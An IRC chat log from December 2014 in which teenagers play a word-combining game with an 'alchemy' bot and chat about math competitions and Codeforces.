[2014-12-31T14:04:44-0500] <alokpathy> @possible montypython
[2014-12-31T14:04:45-0500] <alchemy> No, you can't make montypython.
[2014-12-31T14:04:50-0500] <alokpathy> @possible monty_python
[2014-12-31T14:04:50-0500] <alchemy> No, you can't make monty_python.
[2014-12-31T14:05:06-0500] <alokpathy> @combine internet hacker
[2014-12-31T14:05:07-0500] <alchemy> internet and hacker don't make anything exciting.
[2014-12-31T14:05:12-0500] <alokpathy> @combine google linux
[2014-12-31T14:05:13-0500] <alchemy> google and linux don't make anything exciting.
[2014-12-31T14:05:21-0500] <alokpathy> @combine ice metal
[2014-12-31T14:05:22-0500] <alchemy> ice and metal don't make anything exciting.
[2014-12-31T14:05:27-0500] <Tamini_> you should have hints like
[2014-12-31T14:05:32-0500] <alokpathy> @hint
[2014-12-31T14:05:32-0500] <alchemy> Hint: It's possible to make love!
[2014-12-31T14:05:38-0500] <Tamini_> you can combine ___ with something to make a new element
[2014-12-31T14:05:43-0500] <Tamini_> alchemy: we know.
[2014-12-31T14:05:46-0500] <+hardmath123> ...that's an awkward hint...
[2014-12-31T14:05:50-0500] <Tamini_> ^
[2014-12-31T14:06:02-0500] <Tamini_> hacker+computer != love
[2014-12-31T14:06:04-0500] <Tamini_> then what is
[2014-12-31T14:06:25-0500] <+hardmath123> i once had a friend who made a script to generate makefiles. but he wrote them to a file named "out"
[2014-12-31T14:06:32-0500] <+hardmath123> so to run the makefile...
[2014-12-31T14:07:14-0500] <Tamini_> lol
[2014-12-31T14:07:20-0500] <Tamini_> oh :P
[2014-12-31T14:08:02-0500] <alokpathy> lolol
[2014-12-31T14:08:05-0500] <alokpathy> @lsit
[2014-12-31T14:08:06-0500] <alokpathy> @list
[2014-12-31T14:08:07-0500] <alchemy> You have: aaron, air, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, google, hacker, hal, hole, ice
[2014-12-31T14:08:07-0500] <alchemy> You have: internet, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, penguin, plant, puddle, rain, rainbow, robot, rust, sandstorm
[2014-12-31T14:08:07-0500] <alchemy> You have: sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water, whitehat, wind
[2014-12-31T14:08:07-0500] <alchemy> That's 58 out of 113!
[2014-12-31T14:08:15-0500] <alokpathy> Oh wait I have to study
[2014-12-31T14:09:07-0500] • hardmath123: boots up studybot? :P
[2014-12-31T14:09:14-0500] <+hardmath123> There's a bot for everything!
[2014-12-31T14:10:13-0500] <Tamini_> hehe
[2014-12-31T14:10:19-0500] <Tamini_> im going to take today to relax a bit
[2014-12-31T14:10:20-0500] <alokpathy> >:| http://techcrunch.com/2014/12/31/indian-government-censorsht/?ncid=rss&utm_content=bufferf7b55&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer
[2014-12-31T14:10:23-0500] <Tamini_> prep for usamo
[2014-12-31T14:10:28-0500] <Tamini_> ill study starting tomorrow
[2014-12-31T14:10:29-0500] <alokpathy> Tamini_: Isn't USAMO in like
[2014-12-31T14:10:29-0500] <alokpathy> months
[2014-12-31T14:10:34-0500] <Tamini_> (starts infinite loop)
[2014-12-31T14:10:38-0500] <alokpathy> or does that require months of preparation? 
[2014-12-31T14:10:40-0500] <Tamini_> alokpathy: i need to make it, duh
[2014-12-31T14:10:47-0500] <alokpathy> Oh you meant like
[2014-12-31T14:10:47-0500] <alokpathy> AIME
[2014-12-31T14:10:50-0500] <Tamini_> -> >9 on aime
[2014-12-31T14:10:57-0500] <alokpathy> like prep for AIME to qualify for USAMO
[2014-12-31T14:11:08-0500] <Tamini_> i mean im doing math and that's naturally going to help
[2014-12-31T14:11:15-0500] <Tamini_> but unless 1/4 ends up being nt
[2014-12-31T14:11:20-0500] <Tamini_> im going to get like a 2
[2014-12-31T14:11:27-0500] <alokpathy> I got a 3 sophomore year :D
[2014-12-31T14:11:42-0500] <Tamini_> on usajmo?
[2014-12-31T14:11:50-0500] <alokpathy> No, AIME LOL
[2014-12-31T14:12:43-0500] <alokpathy> I was like
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[2014-12-31T14:13:37-0500] Set by Pidgey on December 30, 2014 at 1:25:17 PM EST
[2014-12-31T14:05:22-0500] <alchemy> ice and metal don't make anything exciting.
[2014-12-31T14:05:27-0500] <Tamini_> you should have hints like
[2014-12-31T14:05:32-0500] <alokpathy> @hint
[2014-12-31T14:05:32-0500] <alchemy> Hint: It's possible to make love!
[2014-12-31T14:05:38-0500] <Tamini_> you can combine ___ with something to make a new element
[2014-12-31T14:05:43-0500] <Tamini_> alchemy: we know.
[2014-12-31T14:05:46-0500] <+hardmath123> ...that's an awkward hint...
[2014-12-31T14:05:50-0500] <Tamini_> ^
[2014-12-31T14:06:02-0500] <Tamini_> hacker+computer != love
[2014-12-31T14:06:04-0500] <Tamini_> then what is
[2014-12-31T14:06:25-0500] <+hardmath123> i once had a friend who made a script to generate makefiles. but he wrote them to a file named "out"
[2014-12-31T14:06:32-0500] <+hardmath123> so to run the makefile...
[2014-12-31T14:07:14-0500] <Tamini_> lol
[2014-12-31T14:07:20-0500] <Tamini_> oh :P
[2014-12-31T14:08:02-0500] <alokpathy> lolol
[2014-12-31T14:08:05-0500] <alokpathy> @lsit
[2014-12-31T14:08:06-0500] <alokpathy> @list
[2014-12-31T14:08:07-0500] <alchemy> You have: aaron, air, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, google, hacker, hal, hole, ice
[2014-12-31T14:08:07-0500] <alchemy> You have: internet, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, penguin, plant, puddle, rain, rainbow, robot, rust, sandstorm
[2014-12-31T14:08:07-0500] <alchemy> You have: sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water, whitehat, wind
[2014-12-31T14:08:07-0500] <alchemy> That's 58 out of 113!
[2014-12-31T14:08:15-0500] <alokpathy> Oh wait I have to study
[2014-12-31T14:09:07-0500] • hardmath123: boots up studybot? :P
[2014-12-31T14:09:14-0500] <+hardmath123> There's a bot for everything!
[2014-12-31T14:10:13-0500] <Tamini_> hehe
[2014-12-31T14:10:19-0500] <Tamini_> im going to take today to relax a bit
[2014-12-31T14:10:20-0500] <alokpathy> >:| http://techcrunch.com/2014/12/31/indian-government-censorsht/?ncid=rss&utm_content=bufferf7b55&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer
[2014-12-31T14:10:23-0500] <Tamini_> prep for usamo
[2014-12-31T14:10:28-0500] <Tamini_> ill study starting tomorrow
[2014-12-31T14:10:29-0500] <alokpathy> Tamini_: Isn't USAMO in like
[2014-12-31T14:10:29-0500] <alokpathy> months
[2014-12-31T14:10:34-0500] <Tamini_> (starts infinite loop)
[2014-12-31T14:10:38-0500] <alokpathy> or does that require months of preparation? 
[2014-12-31T14:10:40-0500] <Tamini_> alokpathy: i need to make it, duh
[2014-12-31T14:10:46-0500] <alokpathy> Oh you meant like
[2014-12-31T14:10:47-0500] <alokpathy> AIME
[2014-12-31T14:10:50-0500] <Tamini_> -> >9 on aime
[2014-12-31T14:10:57-0500] <alokpathy> like prep for AIME to qualify for USAMO
[2014-12-31T14:11:08-0500] <Tamini_> i mean im doing math and that's naturally going to help
[2014-12-31T14:11:15-0500] <Tamini_> but unless 1/4 ends up being nt
[2014-12-31T14:11:20-0500] <Tamini_> im going to get like a 2
[2014-12-31T14:11:28-0500] <alokpathy> I got a 3 sophomore year :D
[2014-12-31T14:11:42-0500] <Tamini_> on usajmo?
[2014-12-31T14:11:50-0500] <alokpathy> No, AIME LOL
[2014-12-31T14:12:43-0500] <alokpathy> I was like
[2014-12-31T14:12:56-0500] <alokpathy> one arithmetic error away from getting a 4
[2014-12-31T14:12:58-0500] <Tamini_> oh LOL
[2014-12-31T14:13:07-0500] <alokpathy> but that's like insignificant xD
[2014-12-31T14:13:13-0500] <Tamini_> i want to do better than soph year
[2014-12-31T14:13:14-0500] <Tamini_> :P
[2014-12-31T14:13:38-0500] Mode is +ns
[2014-12-31T14:13:39-0500] <alokpathy> Same lol
[2014-12-31T14:13:49-0500] <Tamini_> what did you get junior year?
[2014-12-31T14:14:08-0500] <alokpathy> Didn't qualify because I went full retard on the AMC
[2014-12-31T14:14:12-0500] <alokpathy> and made like
[2014-12-31T14:14:16-0500] <alokpathy> 3 stupid mistakes
[2014-12-31T14:14:19-0500] <alokpathy> :)
[2014-12-31T14:14:31-0500] <Tamini_> im so scared of that omfg
[2014-12-31T14:14:38-0500] <Tamini_> also i think i got like
[2014-12-31T14:14:38-0500] <+hardmath123> so last year on the amc i was totally confident for the first 20-something
[2014-12-31T14:14:46-0500] <+hardmath123> and i was like "if i ace the AMC i will have eternal fame"
[2014-12-31T14:14:47-0500] <Tamini_> 4->3->8
[2014-12-31T14:14:57-0500] <+hardmath123> so I just guessed the last few
[2014-12-31T14:15:03-0500] <Tamini_> lol eternal fame
[2014-12-31T14:15:16-0500] <alokpathy> Omg I remember one year like
[2014-12-31T14:15:23-0500] <Tamini_> guys someone plus those numbers into oeis
[2014-12-31T14:15:28-0500] <alokpathy> a few people in my school guessed C for the last 5 on either AMC 10 or 12
[2014-12-31T14:15:30-0500] <Tamini_> predict my junior year aime score LOL
[2014-12-31T14:15:34-0500] <alokpathy> and the last three questions were C
[2014-12-31T14:15:39-0500] <Tamini_> OMG YEA I REMEMBER
[2014-12-31T14:15:51-0500] <alokpathy> THAT WAS SO BAD
[2014-12-31T14:16:14-0500] <Tamini_> lol
[2014-12-31T14:16:16-0500] <Tamini_> also OMG
[2014-12-31T14:16:21-0500] <Tamini_> alok did i tell you
[2014-12-31T14:16:26-0500] <Tamini_> i have an aime curse
[2014-12-31T14:16:31-0500] <alokpathy> ?
[2014-12-31T14:16:37-0500] <Tamini_> for the past 3 years
[2014-12-31T14:16:45-0500] <Tamini_> ive missed #4
[2014-12-31T14:16:53-0500] <Tamini_> they werent even hard just
[2014-12-31T14:17:01-0500] <Tamini_> every year that problem makes me go full retard
[2014-12-31T14:17:01-0500] <alokpathy> Hey that was the one I arithmetic errored
[2014-12-31T14:17:02-0500] <alokpathy> wait no
[2014-12-31T14:17:12-0500] <alokpathy> #6 I arithmetic errored
[2014-12-31T14:17:38-0500] <alokpathy> Also I have
[2014-12-31T14:17:41-0500] <alokpathy> the perfect solution for that.
[2014-12-31T14:17:48-0500] <alokpathy> Number all the problems differently
[2014-12-31T14:17:54-0500] <alokpathy> Or, just 4
[2014-12-31T14:18:02-0500] <alokpathy> Cross out "4)" and put in like
[2014-12-31T14:18:04-0500] <Tamini_> LOL
[2014-12-31T14:18:05-0500] <alokpathy> potato or something
[2014-12-31T14:18:08-0500] <Tamini_> yes
[2014-12-31T14:18:12-0500] <Tamini_> number potato
[2014-12-31T14:18:24-0500] <alokpathy> "What'd you guys get for potato?"
[2014-12-31T14:18:30-0500] <alokpathy> "...Ashley are you drunk?"
[2014-12-31T14:19:28-0500] <Tamini_> :P
[2014-12-31T14:19:30-0500] <Tamini_> "maybe"
[2014-12-31T14:19:35-0500] <Tamini_> i think last year i sorta
[2014-12-31T14:19:46-0500] <Tamini_> like made one of my friends hold me
[2014-12-31T14:19:58-0500] <Tamini_> and pat me on the back repeating "shhh, everything will be okay"
[2014-12-31T14:20:06-0500] <Tamini_> then i got an 8 :P
[2014-12-31T14:20:12-0500] <alokpathy> xD
[2014-12-31T14:22:20-0500] <Tamini_> heheh
[2014-12-31T14:22:22-0500] <Tamini_> @possible aime
[2014-12-31T14:22:22-0500] <alchemy> No, you can't make aime.
[2014-12-31T14:22:25-0500] <Tamini_> @possible amc
[2014-12-31T14:22:25-0500] <alchemy> No, you can't make amc.
[2014-12-31T14:22:30-0500] <Tamini_> wow thats depressing
[2014-12-31T14:22:32-0500] <Tamini_> hardmath123:
[2014-12-31T14:23:13-0500] <alokpathy> @possible usamts
[2014-12-31T14:23:14-0500] <alchemy> No, you can't make usamts.
[2014-12-31T14:23:28-0500] <alokpathy> @list
[2014-12-31T14:23:28-0500] <alchemy> You have: aaron, air, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, google, hacker, hal, hole, ice
[2014-12-31T14:23:28-0500] <alchemy> You have: internet, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, penguin, plant, puddle, rain, rainbow, robot, rust, sandstorm
[2014-12-31T14:23:28-0500] <alchemy> You have: sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water, whitehat, wind
[2014-12-31T14:23:28-0500] <alchemy> That's 58 out of 113!
[2014-12-31T14:23:36-0500] <alokpathy> @combine sentience linux
[2014-12-31T14:23:36-0500] <alchemy> sentience and linux don't make anything exciting.
[2014-12-31T14:23:40-0500] <alokpathy> This game is hard.
[2014-12-31T14:25:47-0500] <Tamini_> i know
[2014-12-31T14:25:56-0500] <Tamini_> @combine computer water
[2014-12-31T14:25:57-0500] <alchemy> computer and water don't make anything exciting.
[2014-12-31T14:26:00-0500] <Tamini_> @combine hacker water
[2014-12-31T14:26:01-0500] <alchemy> hacker and water don't make anything exciting.
[2014-12-31T14:26:23-0500] <Tamini_> @combine hacker light
[2014-12-31T14:26:23-0500] <jwoglom> !combine electricity water
[2014-12-31T14:26:24-0500] <alchemy> hacker and light don't make anything exciting.
[2014-12-31T14:26:30-0500] <jwoglom> @combine electricity water
[2014-12-31T14:26:31-0500] <alchemy> electricity and water don't make anything exciting.
[2014-12-31T14:26:42-0500] <jwoglom> @combine lightning water
[2014-12-31T14:26:43-0500] <alchemy> lightning and water don't make anything exciting.
[2014-12-31T14:26:47-0500] <jwoglom> @combine lightning mountain
[2014-12-31T14:26:48-0500] <alchemy> lightning and mountain don't make anything exciting.
[2014-12-31T14:27:02-0500] <jwoglom> @combine lightning thunder
[2014-12-31T14:27:02-0500] <alchemy> lightning and thunder don't make anything exciting.
[2014-12-31T14:28:41-0500] <alokpathy> Tamini_: Wow ugh, you know that last CF round that didn't go well?
[2014-12-31T14:28:54-0500] <alokpathy> Tamini_: My intuition was right but I couldn't convince myself it was right.
[2014-12-31T14:28:58-0500] <alokpathy> Tamini_: so I didn't do it
[2014-12-31T14:28:59-0500] <alokpathy> .-.
[2014-12-31T14:29:05-0500] <alokpathy> my life
[2014-12-31T14:29:11-0500] <Tamini_> aww D:
[2014-12-31T14:29:23-0500] <Tamini_> always go with your gut on stuff like this :)
[2014-12-31T14:30:02-0500] <alokpathy> and don't do CF rounds when you're half-asleep
[2014-12-31T14:30:43-0500] <alokpathy> Lol the downsides of short-term contests.
[2014-12-31T14:31:06-0500] <Tamini_> lol
[2014-12-31T14:31:28-0500] <alokpathy> There should be a USAMTS version of CF.
[2014-12-31T14:32:17-0500] <+hardmath123> what's CF?
[2014-12-31T14:32:22-0500] <alokpathy> Codeforces.
[2014-12-31T14:32:24-0500] <+hardmath123> I keep mentally replacing it with Core Foundation.
[2014-12-31T14:32:43-0500] <alokpathy> lolol
[2014-12-31T14:33:15-0500] <Tamini_> but like
[2014-12-31T14:33:17-0500] <Tamini_> hardmath123:
[2014-12-31T14:33:23-0500] <Tamini_> your possibilities is so depressing
[2014-12-31T14:33:32-0500] <Tamini_> its telling me that i cant make anything :P
[2014-12-31T14:40:25-0500] <+hardmath123> :(
[2014-12-31T14:40:39-0500] <+hardmath123> @possible me_feel_better
[2014-12-31T14:40:39-0500] <alchemy> No, you can't make me_feel_better.
[2014-12-31T14:40:50-0500] <alokpathy> :(
[2014-12-31T14:41:41-0500] <Tamini_> @possible usamo
[2014-12-31T14:41:42-0500] <alchemy> No, you can't make usamo.
[2014-12-31T14:41:44-0500] <Tamini_> :(
[2014-12-31T14:44:08-0500] <+hardmath123> @possible mistakes
[2014-12-31T14:44:09-0500] <alchemy> No, you can't make mistakes.
[2014-12-31T14:44:11-0500] <+hardmath123> :D
[2014-12-31T14:44:14-0500] <alokpathy> woooo
[2014-12-31T14:46:27-0500] <Tamini_> :D
[2014-12-31T14:46:31-0500] <Tamini_> alokpathy: ill brb
[2014-12-31T14:46:42-0500] <Tamini_> find one of us on alchemy while im gone pls <3
[2014-12-31T14:47:19-0500] <alokpathy> :|
[2014-12-31T14:47:22-0500] <alokpathy> @list
[2014-12-31T14:47:22-0500] <alchemy> You have: aaron, air, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, google, hacker, hal, hole, ice
[2014-12-31T14:47:22-0500] <alchemy> You have: internet, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, penguin, plant, puddle, rain, rainbow, robot, rust, sandstorm
[2014-12-31T14:47:22-0500] <alchemy> You have: sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water, whitehat, wind
[2014-12-31T14:47:22-0500] <alchemy> That's 58 out of 113!
[2014-12-31T14:47:24-0500] <alokpathy> Um
[2014-12-31T14:47:27-0500] <alokpathy> @hint
[2014-12-31T14:47:28-0500] <alchemy> Not this time!
[2014-12-31T14:47:30-0500] <alokpathy> @hint
[2014-12-31T14:47:30-0500] <alchemy> No can do, buddy.
[2014-12-31T14:47:40-0500] <alokpathy> hardmath123: Did you do the thing where hints can be
[2014-12-31T14:47:46-0500] <alokpathy> you can make something with X
[2014-12-31T14:47:47-0500] <alokpathy> ?
[2014-12-31T14:47:56-0500] <alokpathy> @combine wind sandstorm
[2014-12-31T14:47:57-0500] <alchemy> wind and sandstorm don't make anything exciting.
[2014-12-31T14:48:09-0500] <alokpathy> @combine hole internet
[2014-12-31T14:48:10-0500] <alchemy> hole and internet don't make anything exciting.
[2014-12-31T14:48:19-0500] <alokpathy> @combine electricity engine
[2014-12-31T14:48:20-0500] <alchemy> electricity and engine don't make anything exciting.
[2014-12-31T14:48:24-0500] <alokpathy> @combine energy engine
[2014-12-31T14:48:24-0500] <alchemy> energy and engine don't make anything exciting.
[2014-12-31T14:48:33-0500] <alokpathy> @combine engine computer
[2014-12-31T14:48:33-0500] <alchemy> engine and computer don't make anything exciting.
[2014-12-31T14:48:38-0500] <alokpathy> @combine engine knight
[2014-12-31T14:48:39-0500] <alchemy> engine and knight don't make anything exciting.
[2014-12-31T14:48:46-0500] <alokpathy> @combine engine villain
[2014-12-31T14:48:46-0500] <alchemy> engine and villain don't make anything exciting.
[2014-12-31T14:48:56-0500] <alokpathy> @combine internet neanderthal
[2014-12-31T14:48:56-0500] <alchemy> internet and neanderthal don't make anything exciting.
[2014-12-31T14:49:01-0500] <alokpathy> @combine internet robot
[2014-12-31T14:49:02-0500] <alchemy> internet and robot don't make anything exciting.
[2014-12-31T14:49:07-0500] <alokpathy> @hint
[2014-12-31T14:49:08-0500] <alchemy> No can do, buddy.
[2014-12-31T14:49:10-0500] <alokpathy> @hint
[2014-12-31T14:49:10-0500] <alchemy> No can do, buddy.
[2014-12-31T14:49:11-0500] <alokpathy> @hint
[2014-12-31T14:49:12-0500] <alchemy> No can do, buddy.
[2014-12-31T14:49:12-0500] <alokpathy> @hint
[2014-12-31T14:49:13-0500] <alchemy> Nope.
[2014-12-31T14:49:14-0500] <alokpathy> @hint
[2014-12-31T14:49:15-0500] <alchemy> Not on your life.
[2014-12-31T14:49:18-0500] <alokpathy> @lis
[2014-12-31T14:49:19-0500] <alokpathy> @hintt
[2014-12-31T14:49:20-0500] <alokpathy> ugh
[2014-12-31T14:49:22-0500] <alokpathy> @list
[2014-12-31T14:49:22-0500] <alchemy> You have: aaron, air, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, google, hacker, hal, hole, ice
[2014-12-31T14:49:22-0500] <alchemy> You have: internet, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, penguin, plant, puddle, rain, rainbow, robot, rust, sandstorm
[2014-12-31T14:49:22-0500] <alchemy> You have: sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water, whitehat, wind
[2014-12-31T14:49:22-0500] <alchemy> That's 58 out of 113!
[2014-12-31T14:49:33-0500] <alokpathy> @combine lava fire
[2014-12-31T14:49:34-0500] <alchemy> lava and fire don't make anything exciting.
[2014-12-31T14:49:40-0500] <alokpathy> @possible love
[2014-12-31T14:49:40-0500] <alchemy> Yeah, you can make love.
[2014-12-31T14:49:43-0500] <alokpathy> @possible food
[2014-12-31T14:49:43-0500] <alchemy> Yeah, you can make food.
[2014-12-31T14:50:10-0500] <alokpathy> hardmath123: possible should tell you if you can make it with what you have.
[2014-12-31T14:50:34-0500] <alokpathy> @combine ocean cloud
[2014-12-31T14:50:34-0500] <alchemy> ocean and cloud don't make anything exciting.
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[2014-12-31T14:51:21-0500] <+hardmath123> @possible alokmini
[2014-12-31T14:51:21-0500] <alchemy> Yeah, you can make alokmini.
[2014-12-31T14:51:26-0500] <alokpathy> lololol
[2014-12-31T14:51:31-0500] <alokpathy> @possible food
[2014-12-31T14:51:32-0500] <alchemy> Yeah, you can make food.
[2014-12-31T14:51:35-0500] <alokpathy> @hint
[2014-12-31T14:51:36-0500] <alchemy> Hint: It's possible to make music!
[2014-12-31T14:51:40-0500] <alokpathy> Oh hm
[2014-12-31T14:51:45-0500] <alokpathy> @possible sound
[2014-12-31T14:51:46-0500] <alchemy> No, you can't make sound.
[2014-12-31T14:52:02-0500] <alokpathy> @hint
[2014-12-31T14:52:03-0500] <alchemy> No can do, buddy.
[2014-12-31T14:52:05-0500] <alokpathy> @hint
[2014-12-31T14:52:05-0500] <alokpathy> @hint
[2014-12-31T14:52:05-0500] <alokpathy> @hint
[2014-12-31T14:52:05-0500] <alokpathy> @hint
[2014-12-31T14:52:06-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T14:52:07-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T14:52:08-0500] <alchemy> Nope.
[2014-12-31T14:52:09-0500] <alchemy> Not this time!
[2014-12-31T14:52:11-0500] <alokpathy> Aw
[2014-12-31T14:52:36-0500] <alokpathy> hardmath123: Did you do "possible should tell you if you can make it with what you have"?
[2014-12-31T14:53:10-0500] <alokpathy> @combine neanderthal boat
[2014-12-31T14:53:11-0500] <alchemy> neanderthal and boat don't make anything exciting.
[2014-12-31T14:53:13-0500] <+hardmath123> no
[2014-12-31T14:53:16-0500] <alokpathy> Aw okay
[2014-12-31T14:53:20-0500] <alokpathy> @list
[2014-12-31T14:53:21-0500] <alchemy> You have: aaron, air, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, google, hacker, hal, hole, ice
[2014-12-31T14:53:21-0500] <alchemy> You have: internet, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, penguin, plant, puddle, rain, rainbow, robot, rust, sandstorm
[2014-12-31T14:53:21-0500] <alchemy> You have: sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water, whitehat, wind
[2014-12-31T14:53:21-0500] <alchemy> That's 58 out of 114!
[2014-12-31T14:53:45-0500] <alokpathy> @combine evil fire
[2014-12-31T14:53:46-0500] <alchemy> evil and fire don't make anything exciting.
[2014-12-31T14:53:51-0500] <alokpathy> @combine internet evil
[2014-12-31T14:53:52-0500] <alchemy> internet and evil don't make anything exciting.
[2014-12-31T14:53:58-0500] <alokpathy> @combine evil google
[2014-12-31T14:53:59-0500] <alchemy> evil and google don't make anything exciting.
[2014-12-31T14:54:01-0500] <alokpathy> @combine evil hacker
[2014-12-31T14:54:02-0500] <alchemy> You already combined evil and hacker to get blackhat.
[2014-12-31T14:54:09-0500] <alokpathy> @combine evil penguin
[2014-12-31T14:54:10-0500] <alchemy> evil and penguin don't make anything exciting.
[2014-12-31T14:54:20-0500] <alokpathy> @combine chivalry rust
[2014-12-31T14:54:21-0500] <alchemy> chivalry and rust don't make anything exciting.
[2014-12-31T14:54:23-0500] <alokpathy> @combine chivalry aaron
[2014-12-31T14:54:24-0500] <alchemy> chivalry and aaron don't make anything exciting.
[2014-12-31T14:56:32-0500] <+hardmath123> i just realized
[2014-12-31T14:56:46-0500] <+hardmath123> alchemy.py is g+r
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[2014-12-31T15:07:55-0500] Pidgey sets mode +v JacobEdelman
[2014-12-31T15:08:07-0500] <+JacobEdelman> @list
[2014-12-31T15:08:09-0500] <alchemy> You have: aaron, air, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, google, hacker, hal, hole, ice
[2014-12-31T15:08:09-0500] <alchemy> You have: internet, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, penguin, plant, puddle, rain, rainbow, robot, rust, sandstorm
[2014-12-31T15:08:09-0500] <alchemy> You have: sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water, whitehat, wind
[2014-12-31T15:08:09-0500] <alchemy> That's 58 out of 114!
[2014-12-31T15:11:26-0500] <alokpathy> hardmath123: Meaning?
[2014-12-31T15:11:47-0500] <+hardmath123> chmod
[2014-12-31T15:11:59-0500] <+hardmath123> until a few minutes ago, anyone on the server could have just read the file and gotten the answers
[2014-12-31T15:12:19-0500] <+hardmath123> @possible jacob
[2014-12-31T15:12:20-0500] <alchemy> Yeah, you can make jacob.
[2014-12-31T15:12:22-0500] <alokpathy> Oh wow
[2014-12-31T15:12:23-0500] <alokpathy> oops
[2014-12-31T15:12:41-0500] <+JacobEdelman> yes!!
[2014-12-31T15:12:49-0500] <+hardmath123> JacobEdelman: but it's not error
[2014-12-31T15:12:55-0500] <+JacobEdelman> wah? ahhh
[2014-12-31T15:13:02-0500] <+JacobEdelman> @combine linux man
[2014-12-31T15:13:02-0500] <alchemy> linux and man don't make anything exciting.
[2014-12-31T15:13:09-0500] <+JacobEdelman> @combine linux villain
[2014-12-31T15:13:10-0500] <alchemy> linux and villain don't make anything exciting.
[2014-12-31T15:13:22-0500] <+JacobEdelman> @combine whitehat lava
[2014-12-31T15:13:23-0500] <alchemy> whitehat and lava don't make anything exciting.
[2014-12-31T15:13:28-0500] <+JacobEdelman> @combine whitehat sword
[2014-12-31T15:13:28-0500] <alchemy> whitehat and sword don't make anything exciting.
[2014-12-31T15:13:34-0500] <+JacobEdelman> @combine whitehat mountain
[2014-12-31T15:13:35-0500] <alchemy> whitehat and mountain don't make anything exciting.
[2014-12-31T15:13:43-0500] <+JacobEdelman> @combine whitehat neaderthal
[2014-12-31T15:13:44-0500] <alchemy> You don't have neaderthal!
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[2014-12-31T15:13:50-0500] <+JacobEdelman> ?
[2014-12-31T15:13:53-0500] alchemy (alchemy@pdgn-1fv.ggl.o6nc3t.IP) joined the channel
[2014-12-31T15:13:55-0500] <+hardmath123> @possible nezorg
[2014-12-31T15:13:57-0500] <+JacobEdelman> I should get jacob now
[2014-12-31T15:13:57-0500] <alchemy> No, you can't make nezorg.
[2014-12-31T15:14:00-0500] <+JacobEdelman> for killing it
[2014-12-31T15:14:04-0500] <+JacobEdelman> @possible jacob
[2014-12-31T15:14:06-0500] <alchemy> Yeah, you can make jacob.
[2014-12-31T15:14:07-0500] <+hardmath123> you didn't kill it, i rebooted it
[2014-12-31T15:14:19-0500] <+hardmath123> to add nezorg 
[2014-12-31T15:14:23-0500] <+hardmath123> @possible nexorg
[2014-12-31T15:14:24-0500] <alchemy> Yeah, you can make nexorg.
[2014-12-31T15:14:28-0500] <+hardmath123> :D
[2014-12-31T15:14:36-0500] <+JacobEdelman> yeah!
[2014-12-31T15:14:42-0500] <+JacobEdelman> now I gotta figure this out
[2014-12-31T15:14:57-0500] <+JacobEdelman> @evil hal
[2014-12-31T15:15:17-0500] <+JacobEdelman> @combine evil hal
[2014-12-31T15:15:17-0500] <alchemy> evil and hal don't make anything exciting.
[2014-12-31T15:15:23-0500] <+JacobEdelman> @combine rust man
[2014-12-31T15:15:23-0500] <alchemy> You already combined rust and man to get aaron.
[2014-12-31T15:15:25-0500] <+JacobEdelman> @combine rust robot
[2014-12-31T15:15:26-0500] <alchemy> rust and robot don't make anything exciting.
[2014-12-31T15:15:55-0500] <+JacobEdelman> @combine blackhat aaron
[2014-12-31T15:15:58-0500] <alchemy> blackhat and aaron don't make anything exciting.
[2014-12-31T15:16:01-0500] <+JacobEdelman> @combine villain aaron
[2014-12-31T15:16:01-0500] <alchemy> villain and aaron don't make anything exciting.
[2014-12-31T15:16:12-0500] <+JacobEdelman> @combine rainbow man
[2014-12-31T15:16:13-0500] <alchemy> rainbow and man don't make anything exciting.
[2014-12-31T15:16:24-0500] <+JacobEdelman> I'm tempted to turn my cheater bot on :P
[2014-12-31T15:18:27-0500] <Tamini_> also hardmath123: lol nexorg?
[2014-12-31T15:18:38-0500] <Tamini_> @possible moon
[2014-12-31T15:18:39-0500] <alchemy> No, you can't make moon.
[2014-12-31T15:18:52-0500] <Tamini_> @possible bitcoin
[2014-12-31T15:18:53-0500] <alchemy> No, you can't make bitcoin.
[2014-12-31T15:19:22-0500] <+hardmath123> Tamini_: because i wanted to spare him the pings
[2014-12-31T15:19:34-0500] <Tamini_> i know but
[2014-12-31T15:19:48-0500] <Tamini_> he has a name and stuff :=
[2014-12-31T15:19:51-0500] <Tamini_> :P*
[2014-12-31T15:20:08-0500] <Tamini_> make it jmgrosen like his everything else :O
[2014-12-31T15:21:20-0500] <Tamini_> @combine hacker hacker
[2014-12-31T15:21:21-0500] <alchemy> hacker and hacker don't make anything exciting.
[2014-12-31T15:21:28-0500] <Tamini_> @combine hacker sentience
[2014-12-31T15:21:29-0500] <alchemy> hacker and sentience don't make anything exciting.
[2014-12-31T15:21:35-0500] <Tamini_> @combine hacker robot
